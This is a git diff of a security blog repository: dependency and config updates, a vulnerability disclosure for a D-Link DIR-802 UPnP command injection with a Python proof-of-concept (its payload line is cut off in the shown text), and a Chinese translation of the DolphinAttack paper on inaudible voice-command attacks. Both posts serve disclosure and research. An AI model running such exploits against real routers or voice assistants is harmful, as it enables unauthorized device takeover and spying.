"integrity": "sha512-YR47Eg4hChJGAB1O3yEAOkGO+rlzutoICGqGo9EZ4lKWokzZRSyIW1QmTzqjtw8MJdj9srP869CuWw/hyzSiBw==",
|
||||
"optional": true
|
||||
},
|
||||
"glob-parent": {
|
||||
"version": "5.1.1",
|
||||
"resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.1.tgz",
|
||||
"integrity": "sha512-FnI+VGOpnlGHWZxthPGR+QhR78fuiK0sNLkHQv+bL9fQi57lNNdquIbna/WrfROrolq8GK5Ek6BiMwqL/voRYQ==",
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"is-glob": "^4.0.1"
|
||||
}
|
||||
},
|
||||
"is-binary-path": {
|
||||
"version": "2.1.0",
|
||||
"resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
|
||||
"integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"binary-extensions": "^2.0.0"
|
||||
}
|
||||
},
|
||||
"is-extglob": {
|
||||
"version": "2.1.1",
|
||||
"resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
|
||||
"integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI="
|
||||
},
|
||||
"is-glob": {
|
||||
"version": "4.0.1",
|
||||
"resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz",
|
||||
"integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==",
|
||||
"requires": {
|
||||
"is-extglob": "^2.1.1"
|
||||
}
|
||||
},
|
||||
"is-number": {
|
||||
"version": "7.0.0",
|
||||
"resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
|
||||
"integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
|
||||
"optional": true
|
||||
},
|
||||
"normalize-path": {
|
||||
"version": "3.0.0",
|
||||
"resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
|
||||
"integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA=="
|
||||
},
|
||||
"nunjucks": {
|
||||
"version": "3.2.2",
|
||||
"resolved": "https://registry.npmjs.org/nunjucks/-/nunjucks-3.2.2.tgz",
|
||||
"integrity": "sha512-KUi85OoF2NMygwODAy28Lh9qHmq5hO3rBlbkYoC8v377h4l8Pt5qFjILl0LWpMbOrZ18CzfVVUvIHUIrtED3sA==",
|
||||
"requires": {
|
||||
"a-sync-waterfall": "^1.0.0",
|
||||
"asap": "^2.0.3",
|
||||
"chokidar": "^3.3.0",
|
||||
"commander": "^5.1.0"
|
||||
}
|
||||
},
|
||||
"readdirp": {
|
||||
"version": "3.5.0",
|
||||
"resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.5.0.tgz",
|
||||
"integrity": "sha512-cMhu7c/8rdhkHXWsY+osBhfSy0JikwpHK/5+imo+LpeasTF8ouErHrlYkwT0++njiyuDvc7OFY5T3ukvZ8qmFQ==",
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"picomatch": "^2.2.1"
|
||||
}
|
||||
},
|
||||
"to-regex-range": {
|
||||
"version": "5.0.1",
|
||||
"resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
|
||||
"integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"is-number": "^7.0.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
@ -2487,6 +2907,34 @@
|
||||
"resolved": "https://registry.npmjs.org/jsonparse/-/jsonparse-1.3.1.tgz",
|
||||
"integrity": "sha1-P02uSpH6wxX3EGL4UhzCOfE2YoA="
|
||||
},
|
||||
"keyword-extractor": {
|
||||
"version": "0.0.19",
|
||||
"resolved": "https://registry.npmjs.org/keyword-extractor/-/keyword-extractor-0.0.19.tgz",
|
||||
"integrity": "sha512-DmDgxAyICtLfowsP6ElzcV8ctv/OhqrpED4EINrIE5kl46rtRDmN9Ab4NsUMoy7ULm8rxS46Fc/eHMlhD02HIg==",
|
||||
"requires": {
|
||||
"js-yaml": ">=3.13.1",
|
||||
"kind-of": ">=6.0.3",
|
||||
"minimist": ">=0.2.1",
|
||||
"set-value": ">=2.0.1",
|
||||
"underscore": "1.10.2",
|
||||
"underscore.string": "3.3.5"
|
||||
},
|
||||
"dependencies": {
|
||||
"kind-of": {
|
||||
"version": "6.0.3",
|
||||
"resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
|
||||
"integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="
|
||||
},
|
||||
"set-value": {
|
||||
"version": "3.0.2",
|
||||
"resolved": "https://registry.npmjs.org/set-value/-/set-value-3.0.2.tgz",
|
||||
"integrity": "sha512-npjkVoz+ank0zjlV9F47Fdbjfj/PfXyVhZvGALWsyIYU/qrMzpi6avjKW3/7KeSU2Df3I46BrN1xOI1+6vW0hA==",
|
||||
"requires": {
|
||||
"is-plain-object": "^2.0.4"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"kind-of": {
|
||||
"version": "3.2.2",
|
||||
"resolved": "http://registry.npm.taobao.org/kind-of/download/kind-of-3.2.2.tgz",
|
||||
@ -2661,6 +3109,11 @@
|
||||
"mime-db": "~1.38.0"
|
||||
}
|
||||
},
|
||||
"min-indent": {
|
||||
"version": "1.0.1",
|
||||
"resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz",
|
||||
"integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg=="
|
||||
},
|
||||
"minimatch": {
|
||||
"version": "3.0.4",
|
||||
"resolved": "http://registry.npm.taobao.org/minimatch/download/minimatch-3.0.4.tgz",
|
||||
@ -3349,6 +3802,34 @@
|
||||
"resolved": "http://registry.npm.taobao.org/parseurl/download/parseurl-1.3.2.tgz",
|
||||
"integrity": "sha1-/CidTtiZMRlGDBViUyYs3I3mW/M="
|
||||
},
|
||||
"pascal-case": {
|
||||
"version": "3.1.2",
|
||||
"resolved": "https://registry.npmjs.org/pascal-case/-/pascal-case-3.1.2.tgz",
|
||||
"integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==",
|
||||
"requires": {
|
||||
"no-case": "^3.0.4",
|
||||
"tslib": "^2.0.3"
|
||||
},
|
||||
"dependencies": {
|
||||
"lower-case": {
|
||||
"version": "2.0.2",
|
||||
"resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz",
|
||||
"integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==",
|
||||
"requires": {
|
||||
"tslib": "^2.0.3"
|
||||
}
|
||||
},
|
||||
"no-case": {
|
||||
"version": "3.0.4",
|
||||
"resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz",
|
||||
"integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==",
|
||||
"requires": {
|
||||
"lower-case": "^2.0.2",
|
||||
"tslib": "^2.0.3"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"pascalcase": {
|
||||
"version": "0.1.1",
|
||||
"resolved": "http://registry.npm.taobao.org/pascalcase/download/pascalcase-0.1.1.tgz",
|
||||
@ -3364,11 +3845,21 @@
|
||||
"resolved": "http://registry.npm.taobao.org/path-is-absolute/download/path-is-absolute-1.0.1.tgz",
|
||||
"integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18="
|
||||
},
|
||||
"path-key": {
|
||||
"version": "3.1.1",
|
||||
"resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
|
||||
"integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q=="
|
||||
},
|
||||
"path-parse": {
|
||||
"version": "1.0.6",
|
||||
"resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.6.tgz",
|
||||
"integrity": "sha512-GSmOT2EbHrINBf9SR7CDELwlJ8AENk3Qn7OikK4nFYAu3Ote2+JYNVvkpAEQm3/TLNEJFD/xZJjzyxg3KBWOzw=="
|
||||
},
|
||||
"picomatch": {
|
||||
"version": "2.2.2",
|
||||
"resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.2.2.tgz",
|
||||
"integrity": "sha512-q0M/9eZHzmr0AulXyPwNfZjtwZ/RBZlbN3K3CErVrk50T2ASYI7Bye0EvekFY3IP1Nt2DHu0re+V2ZHIpMkuWg=="
|
||||
},
|
||||
"posix-character-classes": {
|
||||
"version": "0.1.1",
|
||||
"resolved": "http://registry.npm.taobao.org/posix-character-classes/download/posix-character-classes-0.1.1.tgz",
|
||||
@ -3384,6 +3875,14 @@
|
||||
"resolved": "https://registry.npmjs.org/pretty-hrtime/-/pretty-hrtime-1.0.3.tgz",
|
||||
"integrity": "sha1-t+PqQkNaTJsnWdmeDyAesZWALuE="
|
||||
},
|
||||
"prismjs": {
|
||||
"version": "1.23.0",
|
||||
"resolved": "https://registry.npmjs.org/prismjs/-/prismjs-1.23.0.tgz",
|
||||
"integrity": "sha512-c29LVsqOaLbBHuIbsTxaKENh1N2EQBOHaWv7gkHN4dgRbxSREqDnDbtFJYdpPauS4YCplMSNCABQ6Eeor69bAA==",
|
||||
"requires": {
|
||||
"clipboard": "^2.0.0"
|
||||
}
|
||||
},
|
||||
"process-nextick-args": {
|
||||
"version": "2.0.0",
|
||||
"resolved": "http://registry.npm.taobao.org/process-nextick-args/download/process-nextick-args-2.0.0.tgz",
|
||||
@ -3804,6 +4303,12 @@
|
||||
"resolved": "http://registry.npm.taobao.org/sax/download/sax-0.5.8.tgz",
|
||||
"integrity": "sha1-1HLbIo6zMcJQaw6MFVJK25OdEsE="
|
||||
},
|
||||
"select": {
|
||||
"version": "1.1.2",
|
||||
"resolved": "https://registry.npmjs.org/select/-/select-1.1.2.tgz",
|
||||
"integrity": "sha1-DnNQrN7ICxEIUoeG7B1EGNEbOW0=",
|
||||
"optional": true
|
||||
},
|
||||
"send": {
|
||||
"version": "0.16.2",
|
||||
"resolved": "http://registry.npm.taobao.org/send/download/send-0.16.2.tgz",
|
||||
@ -3873,6 +4378,19 @@
|
||||
"resolved": "http://registry.npm.taobao.org/setprototypeof/download/setprototypeof-1.1.0.tgz",
|
||||
"integrity": "sha1-0L2FU2iHtv58DYGMuWLZ2RxU5lY="
|
||||
},
|
||||
"shebang-command": {
|
||||
"version": "2.0.0",
|
||||
"resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
|
||||
"integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
|
||||
"requires": {
|
||||
"shebang-regex": "^3.0.0"
|
||||
}
|
||||
},
|
||||
"shebang-regex": {
|
||||
"version": "3.0.0",
|
||||
"resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
|
||||
"integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A=="
|
||||
},
|
||||
"snapdragon": {
|
||||
"version": "0.8.2",
|
||||
"resolved": "http://registry.npm.taobao.org/snapdragon/download/snapdragon-0.8.2.tgz",
|
||||
@ -4161,6 +4679,12 @@
|
||||
"os-homedir": "^1.0.0"
|
||||
}
|
||||
},
|
||||
"tiny-emitter": {
|
||||
"version": "2.1.0",
|
||||
"resolved": "https://registry.npmjs.org/tiny-emitter/-/tiny-emitter-2.1.0.tgz",
|
||||
"integrity": "sha512-NB6Dk1A9xgQPMoGqC5CVXn123gWyte215ONT5Pp5a0yt4nlEoO1ZWeCwpncaekPHXO60i47ihFnZPiRPjRMq4Q==",
|
||||
"optional": true
|
||||
},
|
||||
"titlecase": {
|
||||
"version": "1.1.3",
|
||||
"resolved": "https://registry.npmjs.org/titlecase/-/titlecase-1.1.3.tgz",
|
||||
@ -4214,6 +4738,11 @@
|
||||
"resolved": "http://registry.npm.taobao.org/trim-right/download/trim-right-1.0.1.tgz",
|
||||
"integrity": "sha1-yy4SAwZ+DI3h9hQJS5/kVwTqYAM="
|
||||
},
|
||||
"tslib": {
|
||||
"version": "2.1.0",
|
||||
"resolved": "https://registry.npmjs.org/tslib/-/tslib-2.1.0.tgz",
|
||||
"integrity": "sha512-hcVC3wYEziELGGmEEXue7D75zbwIIVUMWAVbHItGPx0ziyXxrOMQx4rQEVEV45Ut/1IotuEvwqPopzIOkDMf0A=="
|
||||
},
|
||||
"uglify-js": {
|
||||
"version": "2.6.0",
|
||||
"resolved": "http://registry.npm.taobao.org/uglify-js/download/uglify-js-2.6.0.tgz",
|
||||
@ -4268,6 +4797,20 @@
|
||||
"resolved": "http://registry.npm.taobao.org/uglify-to-browserify/download/uglify-to-browserify-1.0.2.tgz",
|
||||
"integrity": "sha1-bgkk1r2mta/jSeOabWMoUKD4grc="
|
||||
},
|
||||
"underscore": {
|
||||
"version": "1.10.2",
|
||||
"resolved": "https://registry.npmjs.org/underscore/-/underscore-1.10.2.tgz",
|
||||
"integrity": "sha512-N4P+Q/BuyuEKFJ43B9gYuOj4TQUHXX+j2FqguVOpjkssLUUrnJofCcBccJSCoeturDoZU6GorDTHSvUDlSQbTg=="
|
||||
},
|
||||
"underscore.string": {
|
||||
"version": "3.3.5",
|
||||
"resolved": "https://registry.npmjs.org/underscore.string/-/underscore.string-3.3.5.tgz",
|
||||
"integrity": "sha512-g+dpmgn+XBneLmXXo+sGlW5xQEt4ErkS3mgeN2GFbremYeMBSJKr9Wf2KJplQVaiPY/f7FN6atosWYNm9ovrYg==",
|
||||
"requires": {
|
||||
"sprintf-js": "^1.0.3",
|
||||
"util-deprecate": "^1.0.2"
|
||||
}
|
||||
},
|
||||
"union-value": {
|
||||
"version": "1.0.0",
|
||||
"resolved": "http://registry.npm.taobao.org/union-value/download/union-value-1.0.0.tgz",
|
||||
|
@ -12,9 +12,11 @@
|
||||
"hexo-generator-archive": "^0.1.5",
|
||||
"hexo-generator-baidu-sitemap": "^0.1.6",
|
||||
"hexo-generator-category": "^0.1.3",
|
||||
"hexo-generator-feed": "^3.0.0",
|
||||
"hexo-generator-index": "^0.2.1",
|
||||
"hexo-generator-json-content": "^4.2.3",
|
||||
"hexo-generator-search": "^2.4.0",
|
||||
"hexo-generator-searchdb": "^1.0.8",
|
||||
"hexo-generator-searchdb": "^1.3.3",
|
||||
"hexo-generator-sitemap": "^1.2.0",
|
||||
"hexo-generator-tag": "^0.2.0",
|
||||
"hexo-renderer-ejs": "^0.3.1",
|
||||
|
@ -5,11 +5,9 @@ tags:
|
||||
- AFL
|
||||
- 模糊测试
|
||||
categories: 二进制
|
||||
description: 接触这个词语已经有一年了,但还没有学习过更没有上手实践过,正好趁这个机会好好弄弄AFL。提起模糊测试,我们总会联想起这样或那样的专业术语——测试用例、代码覆盖率、执行路径等等,你可能和我一样一头雾水,这次我们就来看个明白
|
||||
---
|
||||
|
||||
接触这个词语已经有一年了,但还没有学习过更没有上手实践过,正好趁这个机会好好弄弄AFL。提起模糊测试,我们总会联想起这样或那样的专业术语——测试用例、代码覆盖率、执行路径等等,你可能和我一样一头雾水,这次我们就来看个明白
|
||||
|
||||
------------------------------------------
|
||||
|
||||
# 0x01 模糊测试
|
||||
|
||||
|
@ -6,6 +6,7 @@ tags:
|
||||
- 复原文件
|
||||
- 取证
|
||||
categories: "顶会论文"
|
||||
description: 再也不敢删库跑路了!
|
||||
---
|
||||
|
||||
# Carving Database Storage to Detect and Trace Security Breaches
|
||||
|
47
source/_posts/DIR-802-OS-Command-Injection.md
Normal file
47
source/_posts/DIR-802-OS-Command-Injection.md
Normal file
@ -0,0 +1,47 @@
|
||||
---
|
||||
title: DIR-802 OS Command Injection
|
||||
date: 2021-03-02 13:36:32
|
||||
tags:
|
||||
- D-LINK
|
||||
- UPnP
|
||||
- 固件模拟
|
||||
categories:
|
||||
- IOT
|
||||
description: 提交个漏洞
|
||||
---
|
||||
### D-LINK DIR-802 命令注入漏洞
|
||||
> by Cool
|
||||
#### 漏洞已提交厂商
|
||||
https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10206
|
||||
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29379
|
||||
#### 漏洞类型
|
||||
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
|
||||
|
||||
#### 受影响设备及软件版本
|
||||
DIR-802 hardware revision Ax before v1.00b05
|
||||
https://pmdap.dlink.com.tw/PMD/GetAgileFile?itemNumber=FIR1300450&fileName=DIR802_FW100b05.zip&fileSize=6163759.0;
|
||||
|
||||
#### 漏洞概要
|
||||
DIR-802中存在一个命令注入漏洞,攻击者可以通过精心制作的M-SEARCH数据包向UPnP注入任意命令。
|
||||
|
||||
#### 漏洞详情
|
||||
与CVE-2020-15893相似,在固件版本v-1.00b05之前的D-Link DIR-802 A1上发现了一个问题。默认情况下,端口1900上启用了通用即插即用(UPnP)。攻击者可以通过将有效负载注入SSDP M-SEARCH发现数据包的“搜索目标”(ST)字段来执行命令注入。
|
||||
|
||||
#### POC
|
||||
```python
|
||||
# coding: utf-8
|
||||
import socket
|
||||
import struct
|
||||
buf = 'M-SEARCH * HTTP/1.1\r\nHOST:192.168.0.1:1900\r\nST:urn:schemas-upnp-org:service
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
s.connect(("192.168.0.1", 1900))
|
||||
s.send(buf)
|
||||
s.close()
|
||||
```
|
||||
|
||||
#### 漏洞复现
|
||||
使用firmadyne进行固件模拟,运行UPnP服务
|
||||
<img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1614665628/cve/carbon.png">
|
||||
|
||||
攻击者可以是连接到路由器局域网内并且能够向UPnP端口发送请求的任何人。可以通过编写简单的python脚本将精心制作的数据包发送到特定的upnp端口,该脚本随后将作为精心制作的请求的一部分执行提供的命令。共享的POC将打开端口8089上的telnet服务。
|
||||
<img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1614665899/cve/carbon_1.png">
|
@ -7,6 +7,7 @@ tags:
|
||||
- 调试
|
||||
categories:
|
||||
- IOT
|
||||
description: 如果能够调试一个IoT设备,那挖漏洞将会简单很多
|
||||
---
|
||||
|
||||
# 0x00 背景与简介
|
||||
|
280
source/_posts/Dolphin-Attack.md
Normal file
280
source/_posts/Dolphin-Attack.md
Normal file
@ -0,0 +1,280 @@
|
||||
---
|
||||
title: Dolphin Attack 论文翻译
|
||||
date: 2021-01-08 11:58:55
|
||||
tags:
|
||||
- 硬件攻击
|
||||
- 传感器
|
||||
- 语音助手
|
||||
categories:
|
||||
- 顶会论文
|
||||
description: 算是进入安全领域以来第一篇看懂的论文QAQ
|
||||
---
|
||||
|
||||
# 海豚音攻击
|
||||
|
||||
https://acmccs.github.io/papers/p103-zhangAemb.pdf
|
||||
https://github.com/USSLab/DolphinAttack
|
||||
https://zhuanlan.zhihu.com/p/29306026
|
||||
|
||||
|
||||
## Abstract
|
||||
|
||||
诸如Siri或Google Now之类的语音识别(SR)系统已经成为一种越来越流行的人机交互方法,并将各种系统转变为语音可控系统(VCS)。先前对VCS进行攻击的工作表明,人们无法理解的隐藏语音命令可以控制系统。隐藏的语音命令尽管是“隐藏的”,但还是可以听到的。在这项工作中,我们设计了一个完全听不见的攻击DolphinAttack,它可以调制超声载波上的语音命令(例如f> 20 kHz),以实现听不清。通过利用麦克风电路的非线性特性,语音识别系统可以成功地解调,恢复调制的低频音频命令,并对其进行更重要的解释。我们在流行的语音识别系统上验证了DolphinAttack,包括Siri,Google Now,三星S Voice,华为HiVoice,Cortana和Alexa。通过注入一系列听不见的语音命令,我们展示了一些概念验证攻击,包括激活Siri以在iPhone上发起FaceTime通话,激活Google Now以将手机切换为飞行模式,甚至操纵导航系统在奥迪汽车上。我们提出了硬件和软件防御解决方案。我们验证通过使用支持向量机(SVM)对音频进行分类来检测DolphinAttack是可行的,并建议重新设计语音可控系统,以应对听不见的语音命令攻击。
|
||||
|
||||
关键字:语音可控系统,语音识别,MEMS麦克风,安全分析,防御
|
||||
|
||||
## 1 Introduction
|
||||
|
||||
语音识别(SR)技术允许机器或程序识别口语单词并将其转换为机器可读格式。 由于它的可访问性,效率以及最近在识别精度方面的进步,它已成为越来越流行的人机交互机制。 结果,语音识别系统已将各种各样的系统变成语音可控系统(VCS):Apple Siri [5]和Google Now [21]允许用户通过语音发起电话呼叫; Alexa [4]已使用户能够指示Amazon Echo订购外卖,安排Uber骑行等。随着研究人员将大量精力投入到改善SR系统的性能上,人们对语音识别和语音的了解程度却鲜为人知。 可控系统在故意和偷偷摸摸的攻击下表现良好。
|
||||
先前的工作[10、61]已经表明,SR系统可以理解人类难以理解的混淆语音命令,因此可以控制系统而不会被检测到。 这些语音命令虽然是“隐藏的”,但仍然可以听见并且仍然很明显。 本文旨在研究难以检测到的攻击的可行性,并且本文受到以下关键问题的驱动:语音命令是否可以被人听不见,而仍然可以被设备听见,并且可以被语音识别系统理解? 注入一系列听不见的语音命令是否会导致语音可控系统出现未注意到的安全漏洞? 为了回答这些问题,我们设计了DolphinAttack,这是一种通过利用超声通道(即f> 20 kHz)和基础音频硬件的漏洞在VCS处注入听不见的语音命令的方法。
|
||||
由于以下疑问,听不见的语音命令似乎不可行。
|
||||
(a)设备如何听到听不到的声音?人类声音和听力的上限频率为20 kHz。因此,大多数具有音频功能的设备(例如电话)采用低于44 kHz的音频采样率,并应用低通滤波器来消除高于20 kHz的信号[32]。先前的工作[61]认为不可能接收20 kHz以上的声音。
|
||||
(b)SR系统如何理解听不见的声音?即使超声被硬件接收并正确采样,SR系统也不会识别与人的音调特征不匹配的信号,因此无法解释命令。
|
||||
(c)听不见的声音如何导致VCS发生未注意到的安全漏洞?控制VCS的第一步是激活它们。许多VCS(例如,智能手机和智能家居设备)实现了始终在线功能,该功能可通过依赖于说话者的唤醒词来激活它们,即,此类系统利用语音识别来认证用户。随机语音命令不会通过语音识别。
|
||||
我们解决了所有这些问题,并且我们证明了DolphinAttack语音命令虽然完全听不见,因此对于人类来说是听不见的,但是它们可以被设备的音频硬件接收,并且可以被语音识别系统正确理解。我们在主要的语音识别系统上验证了DolphinAttack,包括Siri,Google Now,三星S Voice [43],华为HiVoice [65],Cortana [37]和Alexa。
|
||||
无法听见的语音命令质疑通用设计假设,即对手最多只能尝试以语音方式操纵VCS,并且可以被警报用户检测到。 此外,我们通过询问以下内容来表征这种假设的安全后果:一系列听不见的语音命令可以在多大程度上危害VCS的安全性。 为了说明这一点,我们展示了DolphinAttack可以完全通过一系列听不见的语音命令来实现以下偷偷摸摸的攻击:
|
||||
(1)访问恶意网站。 该设备可以打开一个恶意网站,该网站可以发起按下载驱动器攻击或利用具有0天漏洞的设备。
|
||||
(2)间谍。 攻击者可以使受害设备发起视频/电话呼叫,因此可以访问设备周围的图像/声音。
|
||||
(3)注入虚假信息。 攻击者可以指示受害设备发送虚假的文本消息和电子邮件,发布虚假的在线帖子,向日历中添加虚假的事件等。
|
||||
(4)拒绝服务。 对手可能会注入命令以开启飞行模式,从而断开所有无线通信。
|
||||
(5)隐藏攻击。 屏幕显示和语音反馈可能会暴露攻击。 对手可以通过调暗屏幕和降低音量来降低失败率。
|
||||
我们已经在16种VCS型号上测试了这些攻击,包括Apple iPhone,Google Nexus,Amazon Echo和汽车。 每次攻击至少在一个SR系统上成功。 我们认为该列表到目前为止还不够全面。 尽管如此,它还是一个预警,可以重新考虑在语音可控系统中应支持哪些功能和人类交互级别。
|
||||
总而言之,我们的贡献如下:
|
||||
•我们展示了DolphinAttack,它可以利用无法听见的声音和音频电路的特性,在最先进的语音识别系统中注入隐蔽的语音命令。 我们在16个常见的语音可控系统平台上的7种流行语音识别系统(例如Siri,Google Now,Alexa)上验证了DolphinAttack。
|
||||
•我们证明了对手可以注入一系列听不见的语音命令来激活始终在线的系统并实现各种恶意攻击。 经过测试的攻击包括在iPhone上启动Facetime,在Amazon Echo上播放音乐以及操纵奥迪汽车中的导航系统。
|
||||
•我们建议同时使用基于硬件和基于软件的防御策略来减轻攻击,并提供增强语音可控系统安全性的建议。
|
||||
|
||||
## 2 背景和威胁模型
|
||||
|
||||
在本节中,我们介绍流行的语音可控系统,并以MEMS麦克风为重点讨论它们的体系结构。
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_23.png)
|
||||
### 2.1 语音可控系统VCS
|
||||
|
||||
一个典型的语音可控系统由三个主要子系统组成:语音捕获,语音识别和命令执行,如图1所示。语音捕获子系统记录环境语音,这些环境语音在被传递到 语音识别子系统之前被放大,过滤和数字化。然后,首先对原始捕获的数字信号进行预处理,以去除超出声音范围的频率,并丢弃包含声音太弱而无法识别的信号段。 接下来,处理后的信号进入语音识别系统。
|
||||
通常,语音识别系统在两个阶段工作:激活和识别。在激活阶段,系统无法接受任意语音输入,但会等待激活。要激活系统,用户必须说出预定义的唤醒词或按特殊键。例如,Amazon echo将“ Alexa”作为激活唤醒词。按住主屏幕按钮约一秒钟可以激活Apple Siri,如果启用了“ Allow Hey Siri”功能,则可以通过“ Hey Siri”激活。要识别唤醒词,麦克风会继续录制环境声音,直到发出声音为止。然后,系统将使用与说话者无关或与说话者无关的语音识别算法来识别语音。例如,只要声音清晰且响亮,Amazon Echo就会采用与说话者无关的算法,并接受任何人说的“ Alexa”。相比之下,Apple Siri取决于扬声器。 Siri需要接受用户培训,并且仅接受同一个人的“ Hey Siri”。激活后,SR系统将进入识别阶段,通常将使用与说话者无关的算法将语音转换为文本,即本例中的命令。
|
||||
请注意,与说话者相关的SR通常在本地执行,与说话者无关的SR通过云服务执行[28]。 要使用云服务,已处理的信号将发送到服务器,服务器将提取特征(通常为Mel频率倒谱系数[10、27、62])并通过机器学习算法(例如,隐马尔可夫模型或神经网络)识别命令 网络)。 最后,命令被发回。
|
||||
给定已识别的命令,命令执行系统将启动相应的应用程序或执行操作。 可接受的命令和相应的动作取决于系统,并且是预先定义的。 流行的语音可控系统包括智能手机,可穿戴设备,智能家居设备和汽车。 智能手机允许用户通过语音命令执行广泛的操作,例如拨打电话号码,发送短信,打开网页,将手机设置为飞行模式等。现代汽车接受一系列精心设计的语音命令来激活 并控制一些车载功能,例如GPS,娱乐系统,环境控制和手机。 例如,如果识别出“呼叫1234567890”,则汽车或智能手机可能会开始拨打电话号码1234567890
|
||||
关于语音可控系统的许多安全性研究都集中于攻击语音识别算法[10]或命令执行环境(例如恶意软件)。 本文针对语音捕获子系统,将在下一部分中对其进行详细介绍。
|
||||
|
||||
### 2.2 麦克风
|
||||
|
||||
语音捕获子系统记录可听见的声音,并且主要是麦克风,其是将空气传播的声波(即声音)转换为电信号的换能器。最古老和最受欢迎的麦克风之一是电容式麦克风,它通过容量变化将声波转换为电信号。驻极体电容式麦克风(ECM)和微机电系统(MEMS)[2、3、29、52、53]版本都可以在市场上购买。由于微型封装尺寸和低功耗,MEMS麦克风主导了语音可控设备,包括智能手机,可穿戴设备。因此,本文主要关注MEMS麦克风,并将简要报告有关ECM的结果。不过,MEMS和ECM的工作原理相似。如图2(b)所示,MEMS麦克风包含薄膜(可移动板)和互补的带孔背板(固定板)[54]。在存在声波的情况下,由声波引起的气压穿过背板上的孔并到达隔膜,该隔膜是一种薄的固体结构,可响应气压的变化而弯曲[64]。这种机械变形导致电容变化。由于电容器上保持几乎恒定的电荷,因此电容变化将产生交流信号。这样,气压被转换成电信号以进行进一步处理。类似地,如图2(a)所示,ECM麦克风利用由柔性膜和固定板形成的电容来记录声波。
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_24.png)
|
||||
语音捕获子系统中的麦克风,低通滤波器(LPF)和ADC旨在捕获可听声音,所有这些功能都旨在抑制超出可听声音频率范围(即20 Hz至20 kHz)的信号。 根据数据表,麦克风的灵敏度频谱在20 Hz至20 kHz之间,理想情况下,应过滤任何其他频率范围内的信号。 即使麦克风记录了高于20 kHz的信号,LPF也应将其删除。 最后,ADC的采样率通常为44.1 kHz,根据奈奎斯特采样定理,数字化信号的频率被限制在22 kHz以下。
|
||||
|
||||
### 2.3 威胁模型
|
||||
|
||||
攻击者的目标是在用户不知情的情况下将语音命令注入到语音可控系统中,并执行未经身份验证的操作。我们假设对手无法直接访问目标设备,拥有自己的传输声音信号的设备,并且无法要求所有者执行任何任务。
|
